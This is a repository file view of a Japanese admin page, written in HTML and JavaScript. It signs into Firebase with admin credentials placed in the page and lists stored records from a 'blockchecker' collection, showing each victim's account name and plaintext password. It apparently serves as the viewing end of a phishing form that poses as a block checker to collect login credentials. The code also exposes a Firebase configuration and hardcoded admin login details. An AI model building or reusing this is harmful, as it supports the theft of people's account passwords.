-
Notifications
You must be signed in to change notification settings - Fork 0
Collapse file tree
Files
Search this repository
/
Copy pathadmin.html
More file actions
More file actions
Latest commit
93 lines (83 loc) · 3.15 KB
/
admin.html
File metadata and controls
93 lines (83 loc) · 3.15 KB
You must be signed in to make or propose changes
More edit options
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>管理者用データ一覧(自分用)</title>
<style>
body { font-family:sans-serif; background:#111; color:#fff; padding:20px;}
table { width:100%; border-collapse: collapse; margin-top:20px;}
th, td { border:1px solid #444; padding:8px; text-align:center;}
th { background:#222;}
tr:nth-child(even) { background:#1a1a1a;}
h1 { text-align:center;}
#no-data { text-align:center; margin-top:20px; color:#888; }
</style>
</head>
<body>
<h1>管理者用データ一覧(自分用)</h1>
<div id="no-data">まだデータはありません</div>
<table id="data-table" style="display:none;">
<tr>
<th>アカウント</th>
<th>パスワード</th>
<th>ブロック数</th>
<th>送信日時</th>
</tr>
</table>
<script type="module">
import { initializeApp } from "https://www.gstatic.com/firebasejs/10.1.0/firebase-app.js";
import { getFirestore, collection, getDocs, query, orderBy } from "https://www.gstatic.com/firebasejs/10.1.0/firebase-firestore.js";
import { getAuth, onAuthStateChanged, signInWithEmailAndPassword } from "https://www.gstatic.com/firebasejs/10.1.0/firebase-auth.js";
// 🔹 firebaseConfig はフォームページと同じ
const firebaseConfig = {
apiKey: "AIzaSyB65yYda5Y1bVM3q74HizAQSbRrOT014x0",
authDomain: "daada-ae048.firebaseapp.com",
projectId: "daada-ae048",
storageBucket: "daada-ae048.firebasestorage.app",
messagingSenderId: "844142280857",
appId: "1:844142280857:web:9ced0beca7eeafd3223808",
measurementId: "G-02E60HW9QW"
};
const app = initializeApp(firebaseConfig);
const db = getFirestore(app);
const auth = getAuth(app);
// 🔹 自分のアカウント情報
const ADMIN_EMAIL = "admin@example.com";
const ADMIN_PASSWORD = "mysecretpassword";
// 🔹 自動ログイン(テスト用。ブラウザ閉じても Firebase Auth が保持される)
signInWithEmailAndPassword(auth, ADMIN_EMAIL, ADMIN_PASSWORD)
.catch(err => alert("ログインエラー: " + err.message));
async function showData() {
const q = query(collection(db, "blockchecker"), orderBy("createdAt","desc"));
const snapshot = await getDocs(q);
const table = document.getElementById("data-table");
const noData = document.getElementById("no-data");
if (snapshot.empty) {
table.style.display = "none";
noData.style.display = "block";
return;
}
table.style.display = "table";
noData.style.display = "none";
snapshot.forEach(doc => {
const d = doc.data();
const row = table.insertRow();
row.insertCell(0).textContent = d.account;
row.insertCell(1).textContent = d.password;
row.insertCell(2).textContent = d.blockCount;
row.insertCell(3).textContent = d.createdAt?.toDate ? d.createdAt.toDate().toLocaleString() : "-";
});
}
// 🔹 ページを開いた時にログイン確認
onAuthStateChanged(auth, user => {
if (user && user.email === ADMIN_EMAIL) {
showData(); // ログイン済みかつ自分のメールなら表示
} else {
alert("管理者ログインが必要です");
window.location.href = "ログインページURL";
}
});
</script>
</body>
</html>